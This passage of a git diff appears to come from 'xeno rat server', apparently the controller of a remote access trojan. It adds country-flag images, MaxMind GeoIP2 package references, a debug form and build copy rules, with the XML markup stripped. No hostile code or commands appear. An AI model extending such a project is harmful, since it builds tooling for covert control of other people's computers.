server/country_flags/lc.png new file mode 100644 index 0000000..cd76549 Binary files /dev/null and b/xeno rat server/country_flags/lc.png differ diff --git a/xeno rat server/country_flags/li.png b/xeno rat server/country_flags/li.png new file mode 100644 index 0000000..6e516c2 Binary files /dev/null and b/xeno rat server/country_flags/li.png differ diff --git a/xeno rat server/country_flags/lk.png b/xeno rat server/country_flags/lk.png new file mode 100644 index 0000000..2399b30 Binary files /dev/null and b/xeno rat server/country_flags/lk.png differ diff --git a/xeno rat server/country_flags/lr.png b/xeno rat server/country_flags/lr.png new file mode 100644 index 0000000..a87593b Binary files /dev/null and b/xeno rat server/country_flags/lr.png differ diff --git a/xeno rat server/country_flags/ls.png b/xeno rat server/country_flags/ls.png new file mode 100644 index 0000000..040f5e8 Binary files /dev/null and b/xeno rat server/country_flags/ls.png differ diff --git a/xeno rat server/country_flags/lt.png b/xeno rat server/country_flags/lt.png new file mode 100644 index 0000000..417328e Binary files /dev/null and b/xeno rat server/country_flags/lt.png differ diff --git a/xeno rat server/country_flags/lu.png b/xeno rat server/country_flags/lu.png new file mode 100644 index 0000000..2de170b Binary files /dev/null and b/xeno rat server/country_flags/lu.png differ diff --git a/xeno rat server/country_flags/lv.png b/xeno rat server/country_flags/lv.png new file mode 100644 index 0000000..9db1c59 Binary files /dev/null and b/xeno rat server/country_flags/lv.png differ diff --git a/xeno rat server/country_flags/ly.png b/xeno rat server/country_flags/ly.png new file mode 100644 index 0000000..2f1e1e4 Binary files /dev/null and b/xeno rat server/country_flags/ly.png differ diff --git a/xeno rat server/country_flags/ma.png b/xeno rat server/country_flags/ma.png new file mode 100644 index 0000000..f0cf860 Binary files /dev/null and b/xeno rat server/country_flags/ma.png differ diff --git a/xeno rat server/country_flags/mc.png b/xeno rat server/country_flags/mc.png new file mode 100644 index 0000000..7e42ad0 Binary files /dev/null and b/xeno rat server/country_flags/mc.png differ diff --git a/xeno rat server/country_flags/md.png b/xeno rat server/country_flags/md.png new file mode 100644 index 0000000..de537ba Binary files /dev/null and b/xeno rat server/country_flags/md.png differ diff --git a/xeno rat server/country_flags/me.png b/xeno rat server/country_flags/me.png new file mode 100644 index 0000000..82a8115 Binary files /dev/null and b/xeno rat server/country_flags/me.png differ diff --git a/xeno rat server/country_flags/mf.png b/xeno rat server/country_flags/mf.png new file mode 100644 index 0000000..f94276a Binary files /dev/null and b/xeno rat server/country_flags/mf.png differ diff --git a/xeno rat server/country_flags/mg.png b/xeno rat server/country_flags/mg.png new file mode 100644 index 0000000..a8575e6 Binary files /dev/null and b/xeno rat server/country_flags/mg.png differ diff --git a/xeno rat server/country_flags/mh.png b/xeno rat server/country_flags/mh.png new file mode 100644 index 0000000..cf5b6dc Binary files /dev/null and b/xeno rat server/country_flags/mh.png differ diff --git a/xeno rat server/country_flags/missing.png b/xeno rat server/country_flags/missing.png new file mode 100644 index 0000000..9855e79 Binary files /dev/null and b/xeno rat server/country_flags/missing.png differ diff --git a/xeno rat server/country_flags/mk.png b/xeno rat server/country_flags/mk.png new file mode 100644 index 0000000..713fc02 Binary files /dev/null and b/xeno rat server/country_flags/mk.png differ diff --git a/xeno rat server/country_flags/ml.png b/xeno rat server/country_flags/ml.png new file mode 100644 index 0000000..ee7cc66 Binary files /dev/null and b/xeno rat server/country_flags/ml.png differ diff --git a/xeno rat server/country_flags/mm.png b/xeno rat server/country_flags/mm.png new file mode 100644 index 0000000..47b6174 Binary files /dev/null and b/xeno rat server/country_flags/mm.png differ diff --git a/xeno rat server/country_flags/mn.png b/xeno rat server/country_flags/mn.png new file mode 100644 index 0000000..5a1d9bc Binary files /dev/null and b/xeno rat server/country_flags/mn.png differ diff --git a/xeno rat server/country_flags/mo.png b/xeno rat server/country_flags/mo.png new file mode 100644 index 0000000..323bb76 Binary files /dev/null and b/xeno rat server/country_flags/mo.png differ diff --git a/xeno rat server/country_flags/mp.png b/xeno rat server/country_flags/mp.png new file mode 100644 index 0000000..ceb9938 Binary files /dev/null and b/xeno rat server/country_flags/mp.png differ diff --git a/xeno rat server/country_flags/mq.png b/xeno rat server/country_flags/mq.png new file mode 100644 index 0000000..8d95802 Binary files /dev/null and b/xeno rat server/country_flags/mq.png differ diff --git a/xeno rat server/country_flags/mr.png b/xeno rat server/country_flags/mr.png new file mode 100644 index 0000000..18f4e9d Binary files /dev/null and b/xeno rat server/country_flags/mr.png differ diff --git a/xeno rat server/country_flags/ms.png b/xeno rat server/country_flags/ms.png new file mode 100644 index 0000000..651e585 Binary files /dev/null and b/xeno rat server/country_flags/ms.png differ diff --git a/xeno rat server/country_flags/mt.png b/xeno rat server/country_flags/mt.png new file mode 100644 index 0000000..d45518a Binary files /dev/null and b/xeno rat server/country_flags/mt.png differ diff --git a/xeno rat server/country_flags/mu.png b/xeno rat server/country_flags/mu.png new file mode 100644 index 0000000..8e171f9 Binary files /dev/null and b/xeno rat server/country_flags/mu.png differ diff --git a/xeno rat server/country_flags/mv.png b/xeno rat server/country_flags/mv.png new file mode 100644 index 0000000..ac45922 Binary files /dev/null and b/xeno rat server/country_flags/mv.png differ diff --git a/xeno rat server/country_flags/mw.png b/xeno rat server/country_flags/mw.png new file mode 100644 index 0000000..986e7a8 Binary files /dev/null and b/xeno rat server/country_flags/mw.png differ diff --git a/xeno rat server/country_flags/mx.png b/xeno rat server/country_flags/mx.png new file mode 100644 index 0000000..284dd52 Binary files /dev/null and b/xeno rat server/country_flags/mx.png differ diff --git a/xeno rat server/country_flags/my.png b/xeno rat server/country_flags/my.png new file mode 100644 index 0000000..99cb9d6 Binary files /dev/null and b/xeno rat server/country_flags/my.png differ diff --git a/xeno rat server/country_flags/mz.png b/xeno rat server/country_flags/mz.png new file mode 100644 index 0000000..261bcaf Binary files /dev/null and b/xeno rat server/country_flags/mz.png differ diff --git a/xeno rat server/country_flags/na.png b/xeno rat server/country_flags/na.png new file mode 100644 index 0000000..c0b9be8 Binary files /dev/null and b/xeno rat server/country_flags/na.png differ diff --git a/xeno rat server/country_flags/nc.png b/xeno rat server/country_flags/nc.png new file mode 100644 index 0000000..57e21e3 Binary files /dev/null and b/xeno rat server/country_flags/nc.png differ diff --git a/xeno rat server/country_flags/ne.png b/xeno rat server/country_flags/ne.png new file mode 100644 index 0000000..a4b5781 Binary files /dev/null and b/xeno rat server/country_flags/ne.png differ diff --git a/xeno rat server/country_flags/nf.png b/xeno rat server/country_flags/nf.png new file mode 100644 index 0000000..ca02aef Binary files /dev/null and b/xeno rat server/country_flags/nf.png differ diff --git a/xeno rat server/country_flags/ng.png b/xeno rat server/country_flags/ng.png new file mode 100644 index 0000000..19ade3e Binary files /dev/null and b/xeno rat server/country_flags/ng.png differ diff --git a/xeno rat server/country_flags/ni.png b/xeno rat server/country_flags/ni.png new file mode 100644 index 0000000..546ed09 Binary files /dev/null and b/xeno rat server/country_flags/ni.png differ diff --git a/xeno rat server/country_flags/nl.png b/xeno rat server/country_flags/nl.png new file mode 100644 index 0000000..d5c1afa Binary files /dev/null and b/xeno rat server/country_flags/nl.png differ diff --git a/xeno rat server/country_flags/no.png b/xeno rat server/country_flags/no.png new file mode 100644 index 0000000..fc243e0 Binary files /dev/null and b/xeno rat server/country_flags/no.png differ diff --git a/xeno rat server/country_flags/np.png b/xeno rat server/country_flags/np.png new file mode 100644 index 0000000..6feb32d Binary files /dev/null and b/xeno rat server/country_flags/np.png differ diff --git a/xeno rat server/country_flags/nr.png b/xeno rat server/country_flags/nr.png new file mode 100644 index 0000000..c9c8901 Binary files /dev/null and b/xeno rat server/country_flags/nr.png differ diff --git a/xeno rat server/country_flags/nu.png b/xeno rat server/country_flags/nu.png new file mode 100644 index 0000000..81cb283 Binary files /dev/null and b/xeno rat server/country_flags/nu.png differ diff --git a/xeno rat server/country_flags/nz.png b/xeno rat server/country_flags/nz.png new file mode 100644 index 0000000..0b00530 Binary files /dev/null and b/xeno rat server/country_flags/nz.png differ diff --git a/xeno rat server/country_flags/om.png b/xeno rat server/country_flags/om.png new file mode 100644 index 0000000..54b3ce2 Binary files /dev/null and b/xeno rat server/country_flags/om.png differ diff --git a/xeno rat server/country_flags/pa.png b/xeno rat server/country_flags/pa.png new file mode 100644 index 0000000..9c71bb0 Binary files /dev/null and b/xeno rat server/country_flags/pa.png differ diff --git a/xeno rat server/country_flags/pe.png b/xeno rat server/country_flags/pe.png new file mode 100644 index 0000000..dad8df1 Binary files /dev/null and b/xeno rat server/country_flags/pe.png differ diff --git a/xeno rat server/country_flags/pf.png b/xeno rat server/country_flags/pf.png new file mode 100644 index 0000000..8240ea4 Binary files /dev/null and b/xeno rat server/country_flags/pf.png differ diff --git a/xeno rat server/country_flags/pg.png b/xeno rat server/country_flags/pg.png new file mode 100644 index 0000000..294eb61 Binary files /dev/null and b/xeno rat server/country_flags/pg.png differ diff --git a/xeno rat server/country_flags/ph.png b/xeno rat server/country_flags/ph.png new file mode 100644 index 0000000..4edda62 Binary files /dev/null and b/xeno rat server/country_flags/ph.png differ diff --git a/xeno rat server/country_flags/pk.png b/xeno rat server/country_flags/pk.png new file mode 100644 index 0000000..86686f5 Binary files /dev/null and b/xeno rat server/country_flags/pk.png differ diff --git a/xeno rat server/country_flags/pl.png b/xeno rat server/country_flags/pl.png new file mode 100644 index 0000000..a62ea65 Binary files /dev/null and b/xeno rat server/country_flags/pl.png differ diff --git a/xeno rat server/country_flags/pm.png b/xeno rat server/country_flags/pm.png new file mode 100644 index 0000000..80b5a9a Binary files /dev/null and b/xeno rat server/country_flags/pm.png differ diff --git a/xeno rat server/country_flags/pn.png b/xeno rat server/country_flags/pn.png new file mode 100644 index 0000000..b5d378c Binary files /dev/null and b/xeno rat server/country_flags/pn.png differ diff --git a/xeno rat server/country_flags/pr.png b/xeno rat server/country_flags/pr.png new file mode 100644 index 0000000..ff6d97b Binary files /dev/null and b/xeno rat server/country_flags/pr.png differ diff --git a/xeno rat server/country_flags/ps.png b/xeno rat server/country_flags/ps.png new file mode 100644 index 0000000..942d335 Binary files /dev/null and b/xeno rat server/country_flags/ps.png differ diff --git a/xeno rat server/country_flags/pt.png b/xeno rat server/country_flags/pt.png new file mode 100644 index 0000000..5e593ff Binary files /dev/null and b/xeno rat server/country_flags/pt.png differ diff --git a/xeno rat server/country_flags/pw.png b/xeno rat server/country_flags/pw.png new file mode 100644 index 0000000..5d9c4ad Binary files /dev/null and b/xeno rat server/country_flags/pw.png differ diff --git a/xeno rat server/country_flags/py.png b/xeno rat server/country_flags/py.png new file mode 100644 index 0000000..dd771c1 Binary files /dev/null and b/xeno rat server/country_flags/py.png differ diff --git a/xeno rat server/country_flags/qa.png b/xeno rat server/country_flags/qa.png new file mode 100644 index 0000000..ebf87be Binary files /dev/null and b/xeno rat server/country_flags/qa.png differ diff --git a/xeno rat server/country_flags/re.png b/xeno rat server/country_flags/re.png new file mode 100644 index 0000000..8f58d61 Binary files /dev/null and b/xeno rat server/country_flags/re.png differ diff --git a/xeno rat server/country_flags/ro.png b/xeno rat server/country_flags/ro.png new file mode 100644 index 0000000..874f4d0 Binary files /dev/null and b/xeno rat server/country_flags/ro.png differ diff --git a/xeno rat server/country_flags/rs.png b/xeno rat server/country_flags/rs.png new file mode 100644 index 0000000..3d84b27 Binary files /dev/null and b/xeno rat server/country_flags/rs.png differ diff --git a/xeno rat server/country_flags/ru.png b/xeno rat server/country_flags/ru.png new file mode 100644 index 0000000..55a198b Binary files /dev/null and b/xeno rat server/country_flags/ru.png differ diff --git a/xeno rat server/country_flags/rw.png b/xeno rat server/country_flags/rw.png new file mode 100644 index 0000000..f132312 Binary files /dev/null and b/xeno rat server/country_flags/rw.png differ diff --git a/xeno rat server/country_flags/sa.png b/xeno rat server/country_flags/sa.png new file mode 100644 index 0000000..cc266a4 Binary files /dev/null and b/xeno rat server/country_flags/sa.png differ diff --git a/xeno rat server/country_flags/sb.png b/xeno rat server/country_flags/sb.png new file mode 100644 index 0000000..9607cf5 Binary files /dev/null and b/xeno rat server/country_flags/sb.png differ diff --git a/xeno rat server/country_flags/sc.png b/xeno rat server/country_flags/sc.png new file mode 100644 index 0000000..3739aed Binary files /dev/null and b/xeno rat server/country_flags/sc.png differ diff --git a/xeno rat server/country_flags/sd.png b/xeno rat server/country_flags/sd.png new file mode 100644 index 0000000..ba1ed16 Binary files /dev/null and b/xeno rat server/country_flags/sd.png differ diff --git a/xeno rat server/country_flags/se.png b/xeno rat server/country_flags/se.png new file mode 100644 index 0000000..a5ff611 Binary files /dev/null and b/xeno rat server/country_flags/se.png differ diff --git a/xeno rat server/country_flags/sg.png b/xeno rat server/country_flags/sg.png new file mode 100644 index 0000000..0758580 Binary files /dev/null and b/xeno rat server/country_flags/sg.png differ diff --git a/xeno rat server/country_flags/sh.png b/xeno rat server/country_flags/sh.png new file mode 100644 index 0000000..f74b5c0 Binary files /dev/null and b/xeno rat server/country_flags/sh.png differ diff --git a/xeno rat server/country_flags/si.png b/xeno rat server/country_flags/si.png new file mode 100644 index 0000000..50cc633 Binary files /dev/null and b/xeno rat server/country_flags/si.png differ diff --git a/xeno rat server/country_flags/sj.png b/xeno rat server/country_flags/sj.png new file mode 100644 index 0000000..fc243e0 Binary files /dev/null and b/xeno rat server/country_flags/sj.png differ diff --git a/xeno rat server/country_flags/sk.png b/xeno rat server/country_flags/sk.png new file mode 100644 index 0000000..b207dbb Binary files /dev/null and b/xeno rat server/country_flags/sk.png differ diff --git a/xeno rat server/country_flags/sl.png b/xeno rat server/country_flags/sl.png new file mode 100644 index 0000000..d5922d9 Binary files /dev/null and b/xeno rat server/country_flags/sl.png differ diff --git a/xeno rat server/country_flags/sm.png b/xeno rat server/country_flags/sm.png new file mode 100644 index 0000000..c2894c4 Binary files /dev/null and b/xeno rat server/country_flags/sm.png differ diff --git a/xeno rat server/country_flags/sn.png b/xeno rat server/country_flags/sn.png new file mode 100644 index 0000000..c503a55 Binary files /dev/null and b/xeno rat server/country_flags/sn.png differ diff --git a/xeno rat server/country_flags/so.png b/xeno rat server/country_flags/so.png new file mode 100644 index 0000000..5713d47 Binary files /dev/null and b/xeno rat server/country_flags/so.png differ diff --git a/xeno rat server/country_flags/sr.png b/xeno rat server/country_flags/sr.png new file mode 100644 index 0000000..022e31a Binary files /dev/null and b/xeno rat server/country_flags/sr.png differ diff --git a/xeno rat server/country_flags/ss.png b/xeno rat server/country_flags/ss.png new file mode 100644 index 0000000..dbdfb62 Binary files /dev/null and b/xeno rat server/country_flags/ss.png differ diff --git a/xeno rat server/country_flags/st.png b/xeno rat server/country_flags/st.png new file mode 100644 index 0000000..94d1c25 Binary files /dev/null and b/xeno rat server/country_flags/st.png differ diff --git a/xeno rat server/country_flags/sv.png b/xeno rat server/country_flags/sv.png new file mode 100644 index 0000000..3f9e2dd Binary files /dev/null and b/xeno rat server/country_flags/sv.png differ diff --git a/xeno rat server/country_flags/sx.png b/xeno rat server/country_flags/sx.png new file mode 100644 index 0000000..41d6b6b Binary files /dev/null and b/xeno rat server/country_flags/sx.png differ diff --git a/xeno rat server/country_flags/sy.png b/xeno rat server/country_flags/sy.png new file mode 100644 index 0000000..fa9acf3 Binary files /dev/null and b/xeno rat server/country_flags/sy.png differ diff --git a/xeno rat server/country_flags/sz.png b/xeno rat server/country_flags/sz.png new file mode 100644 index 0000000..fee5417 Binary files /dev/null and b/xeno rat server/country_flags/sz.png differ diff --git a/xeno rat server/country_flags/tc.png b/xeno rat server/country_flags/tc.png new file mode 100644 index 0000000..f3f1b99 Binary files /dev/null and b/xeno rat server/country_flags/tc.png differ diff --git a/xeno rat server/country_flags/td.png b/xeno rat server/country_flags/td.png new file mode 100644 index 0000000..26f1738 Binary files /dev/null and b/xeno rat server/country_flags/td.png differ diff --git a/xeno rat server/country_flags/tf.png b/xeno rat server/country_flags/tf.png new file mode 100644 index 0000000..fbe0ac1 Binary files /dev/null and b/xeno rat server/country_flags/tf.png differ diff --git a/xeno rat server/country_flags/tg.png b/xeno rat server/country_flags/tg.png new file mode 100644 index 0000000..63d3d81 Binary files /dev/null and b/xeno rat server/country_flags/tg.png differ diff --git a/xeno rat server/country_flags/th.png b/xeno rat server/country_flags/th.png new file mode 100644 index 0000000..283f33e Binary files /dev/null and b/xeno rat server/country_flags/th.png differ diff --git a/xeno rat server/country_flags/tj.png b/xeno rat server/country_flags/tj.png new file mode 100644 index 0000000..a852ec3 Binary files /dev/null and b/xeno rat server/country_flags/tj.png differ diff --git a/xeno rat server/country_flags/tk.png b/xeno rat server/country_flags/tk.png new file mode 100644 index 0000000..91f5384 Binary files /dev/null and b/xeno rat server/country_flags/tk.png differ diff --git a/xeno rat server/country_flags/tl.png b/xeno rat server/country_flags/tl.png new file mode 100644 index 0000000..17019ae Binary files /dev/null and b/xeno rat server/country_flags/tl.png differ diff --git a/xeno rat server/country_flags/tm.png b/xeno rat server/country_flags/tm.png new file mode 100644 index 0000000..06ae4b6 Binary files /dev/null and b/xeno rat server/country_flags/tm.png differ diff --git a/xeno rat server/country_flags/tn.png b/xeno rat server/country_flags/tn.png new file mode 100644 index 0000000..779d09d Binary files /dev/null and b/xeno rat server/country_flags/tn.png differ diff --git a/xeno rat server/country_flags/to.png b/xeno rat server/country_flags/to.png new file mode 100644 index 0000000..f1bdcea Binary files /dev/null and b/xeno rat server/country_flags/to.png differ diff --git a/xeno rat server/country_flags/tr.png b/xeno rat server/country_flags/tr.png new file mode 100644 index 0000000..020fe27 Binary files /dev/null and b/xeno rat server/country_flags/tr.png differ diff --git a/xeno rat server/country_flags/tt.png b/xeno rat server/country_flags/tt.png new file mode 100644 index 0000000..96465fc Binary files /dev/null and b/xeno rat server/country_flags/tt.png differ diff --git a/xeno rat server/country_flags/tv.png b/xeno rat server/country_flags/tv.png new file mode 100644 index 0000000..d1d550e Binary files /dev/null and b/xeno rat server/country_flags/tv.png differ diff --git a/xeno rat server/country_flags/tw.png b/xeno rat server/country_flags/tw.png new file mode 100644 index 0000000..b1ccfa2 Binary files /dev/null and b/xeno rat server/country_flags/tw.png differ diff --git a/xeno rat server/country_flags/tz.png b/xeno rat server/country_flags/tz.png new file mode 100644 index 0000000..ad74c03 Binary files /dev/null and b/xeno rat server/country_flags/tz.png differ diff --git a/xeno rat server/country_flags/ua.png b/xeno rat server/country_flags/ua.png new file mode 100644 index 0000000..9af2330 Binary files /dev/null and b/xeno rat server/country_flags/ua.png differ diff --git a/xeno rat server/country_flags/ug.png b/xeno rat server/country_flags/ug.png new file mode 100644 index 0000000..25b8657 Binary files /dev/null and b/xeno rat server/country_flags/ug.png differ diff --git a/xeno rat server/country_flags/um.png b/xeno rat server/country_flags/um.png new file mode 100644 index 0000000..02570fa Binary files /dev/null and b/xeno rat server/country_flags/um.png differ diff --git a/xeno rat server/country_flags/us.png b/xeno rat server/country_flags/us.png new file mode 100644 index 0000000..02570fa Binary files /dev/null and b/xeno rat server/country_flags/us.png differ diff --git a/xeno rat server/country_flags/uy.png b/xeno rat server/country_flags/uy.png new file mode 100644 index 0000000..9d782e4 Binary files /dev/null and b/xeno rat server/country_flags/uy.png differ diff --git a/xeno rat server/country_flags/uz.png b/xeno rat server/country_flags/uz.png new file mode 100644 index 0000000..694a419 Binary files /dev/null and b/xeno rat server/country_flags/uz.png differ diff --git a/xeno rat server/country_flags/va.png b/xeno rat server/country_flags/va.png new file mode 100644 index 0000000..3973de7 Binary files /dev/null and b/xeno rat server/country_flags/va.png differ diff --git a/xeno rat server/country_flags/vc.png b/xeno rat server/country_flags/vc.png new file mode 100644 index 0000000..be90956 Binary files /dev/null and b/xeno rat server/country_flags/vc.png differ diff --git a/xeno rat server/country_flags/ve.png b/xeno rat server/country_flags/ve.png new file mode 100644 index 0000000..2344009 Binary files /dev/null and b/xeno rat server/country_flags/ve.png differ diff --git a/xeno rat server/country_flags/vg.png b/xeno rat server/country_flags/vg.png new file mode 100644 index 0000000..15ac863 Binary files /dev/null and b/xeno rat server/country_flags/vg.png differ diff --git a/xeno rat server/country_flags/vi.png b/xeno rat server/country_flags/vi.png new file mode 100644 index 0000000..65d4365 Binary files /dev/null and b/xeno rat server/country_flags/vi.png differ diff --git a/xeno rat server/country_flags/vn.png b/xeno rat server/country_flags/vn.png new file mode 100644 index 0000000..74ff54c Binary files /dev/null and b/xeno rat server/country_flags/vn.png differ diff --git a/xeno rat server/country_flags/vu.png b/xeno rat server/country_flags/vu.png new file mode 100644 index 0000000..83ae89e Binary files /dev/null and b/xeno rat server/country_flags/vu.png differ diff --git a/xeno rat server/country_flags/wf.png b/xeno rat server/country_flags/wf.png new file mode 100644 index 0000000..93433d9 Binary files /dev/null and b/xeno rat server/country_flags/wf.png differ diff --git a/xeno rat server/country_flags/ws.png b/xeno rat server/country_flags/ws.png new file mode 100644 index 0000000..674d36d Binary files /dev/null and b/xeno rat server/country_flags/ws.png differ diff --git a/xeno rat server/country_flags/xk.png b/xeno rat server/country_flags/xk.png new file mode 100644 index 0000000..efdf299 Binary files /dev/null and b/xeno rat server/country_flags/xk.png differ diff --git a/xeno rat server/country_flags/ye.png b/xeno rat server/country_flags/ye.png new file mode 100644 index 0000000..5fd8564 Binary files /dev/null and b/xeno rat server/country_flags/ye.png differ diff --git a/xeno rat server/country_flags/yt.png b/xeno rat server/country_flags/yt.png new file mode 100644 index 0000000..40ab4d3 Binary files /dev/null and b/xeno rat server/country_flags/yt.png differ diff --git a/xeno rat server/country_flags/za.png b/xeno rat server/country_flags/za.png new file mode 100644 index 0000000..dcd55a7 Binary files /dev/null and b/xeno rat server/country_flags/za.png differ diff --git a/xeno rat server/country_flags/zm.png b/xeno rat server/country_flags/zm.png new file mode 100644 index 0000000..7535455 Binary files /dev/null and b/xeno rat server/country_flags/zm.png differ diff --git a/xeno rat server/country_flags/zw.png b/xeno rat server/country_flags/zw.png new file mode 100644 index 0000000..9a6cf5e Binary files /dev/null and b/xeno rat server/country_flags/zw.png differ diff --git a/xeno rat server/packages.config b/xeno rat server/packages.config index e289ea5..012464e 100644 --- a/xeno rat server/packages.config +++ b/xeno rat server/packages.config @@ -3,6 +3,12 @@ + + + + + + @@ -16,6 +22,7 @@ + @@ -32,15 +39,18 @@ + + + @@ -54,10 +64,14 @@ + + + + diff --git a/xeno rat server/xeno rat server.csproj b/xeno rat server/xeno rat server.csproj index ba6f177..94a9011 100644 --- a/xeno rat server/xeno rat server.csproj +++ b/xeno rat server/xeno rat server.csproj @@ -61,6 +61,24 @@ packages\dnlib.3.6.0\lib\net45\dnlib.dll + + packages\MaxMind.Db.4.1.0\lib\netstandard2.0\MaxMind.Db.dll + + + packages\MaxMind.GeoIP2.5.2.0\lib\netstandard2.0\MaxMind.GeoIP2.dll + + + packages\Microsoft.Bcl.AsyncInterfaces.8.0.0\lib\net462\Microsoft.Bcl.AsyncInterfaces.dll + + + packages\Microsoft.Extensions.DependencyInjection.Abstractions.8.0.0\lib\net462\Microsoft.Extensions.DependencyInjection.Abstractions.dll + + + packages\Microsoft.Extensions.Options.8.0.0\lib\net462\Microsoft.Extensions.Options.dll + + + packages\Microsoft.Extensions.Primitives.8.0.0\lib\net462\Microsoft.Extensions.Primitives.dll + packages\Microsoft.Win32.Primitives.4.3.0\lib\net46\Microsoft.Win32.Primitives.dll @@ -102,7 +120,11 @@ True True + + packages\System.Buffers.4.5.1\lib\net461\System.Buffers.dll + + packages\System.Console.4.3.0\lib\net46\System.Console.dll True @@ -158,11 +180,18 @@ True True + + packages\System.Memory.4.5.5\lib\net461\System.Memory.dll + packages\System.Net.Sockets.4.3.0\lib\net46\System.Net.Sockets.dll True True + + + packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll + packages\System.Reflection.4.3.0\lib\net462\System.Reflection.dll True @@ -173,6 +202,9 @@ True True + + packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.dll + packages\System.Runtime.Extensions.4.3.0\lib\net462\System.Runtime.Extensions.dll True @@ -214,6 +246,18 @@ packages\System.Security.Principal.Windows.4.7.0\lib\net461\System.Security.Principal.Windows.dll + + packages\System.Text.Encodings.Web.8.0.0\lib\net462\System.Text.Encodings.Web.dll + + + packages\System.Text.Json.8.0.0\lib\net462\System.Text.Json.dll + + + packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.dll + + + packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.dll + @@ -240,6 +284,12 @@ + + Form + + + DebugInfo.cs + Form @@ -334,6 +384,9 @@ Chat.cs Designer + + DebugInfo.cs + File manager.cs @@ -387,6 +440,9 @@ True + + PreserveNewest + SettingsSingleFileGenerator @@ -402,6 +458,771 @@ + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest + + + PreserveNewest +